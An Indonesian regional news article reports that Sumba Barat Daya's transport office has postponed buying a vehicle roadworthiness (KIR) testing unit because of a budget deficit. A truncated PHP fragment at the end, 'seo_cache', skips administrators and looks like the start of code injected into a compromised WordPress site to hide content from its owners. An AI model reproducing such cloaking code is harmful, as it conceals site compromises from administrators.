Birokrasi

Dampak Efisiensi Anggaran, Dishub Kabupaten SBD Tunda Rencana Pengadaan Alat Uji KIR Kendaraan

×

Dampak Efisiensi Anggaran, Dishub Kabupaten SBD Tunda Rencana Pengadaan Alat Uji KIR Kendaraan

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM Dinas Perhubungan Kabupaten SBD terpaksa menunda rencana pengadaan alat uji KIR kendaraan.

Kebijakan efisiensi anggaran yang menyebabkan defisit APBD mencapai 215 miliar jadi sebab tertundanya rencana ini.

Hal tersebut disampaikan Kepala Dinas Perhubungan Kabupaten SBD, Fransiskus Lamunde, S.Pt kepada media ini, Senin (02/02/2026).

Kepala Dinas Perhubungan Kabupaten SBD, Fransiskus Lamunde, S.Pt. ( Foto Menara Sumba )

“Rencananya tahun 2027 nanti tapi keterbatasan keuangan daerah jadi soal sehingga kita harus bersabar,” ujarnya.

Untuk pengadaan satu unit alat uji KIR, kata dia, butuh anggaran hingga lima miliar lebih.

Sementara alokasi dana di dinas ini hanya berjumlah 2,4 miliar yang seluruhnya diperuntukkan bagi kebutuhan belanja pegawai.

“Gunakan gaji seluruh pegawai pun tidak cukup untuk adakan satu alat ini,” terangnya.

Kebutuhan Vital

Alat uji KIR sangat vital untuk memastikan kendaraan layak jalan, meminimalisir risiko kecelakaan akibat kegagalan teknis, dan mengurangi emisi gas buang.

Kendaraan pelat kuning, mobil sewa, taksi, ojek online, bus, truk pengangkut barang, dan pick up wajib mengikuti uji KIR.

“Tidak saja memudahkan pemilik kendaraan yang ada di SBD, tapi uji KIR ini juga jadi sumber PAD kita,” timpal Fransiskus.

Namun ada prinsipnya, sebut Fransiskus , niat mengadakan alat uji KIR ini semata untuk memastikan keselamatan jiwa pengguna kendaraan bermotor.

Ia menjelaskan, uji KIR ini meliputi pengecekan fisik, emisi, sistem rem, kemudi, suspensi, lampu, dan spidometer.

Setiap kendaraan dimaksud wajib melakukan uji KIR enam bulan sekali dan jika lalai dapat dikenakan sanksi berupa peringatan, denda, hingga pembekuan atau pencabutan izin operasional.

Meski gedung uji KIR telah dibangun beberapa tahun lalu, namun belum bisa dimanfaatkan sesuai peruntukannya.

Gedung tersebut kini digunakan sementara untuk aktivitas kantor dinas perhubungan sambil menanti tersedianya anggaran untuk pengadaan alat uji KIR.

“Karena alat ini belum ada di SBD maka pemilik kendaraan terpaksa uji KIR di Waingapu, Sumba Timur,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>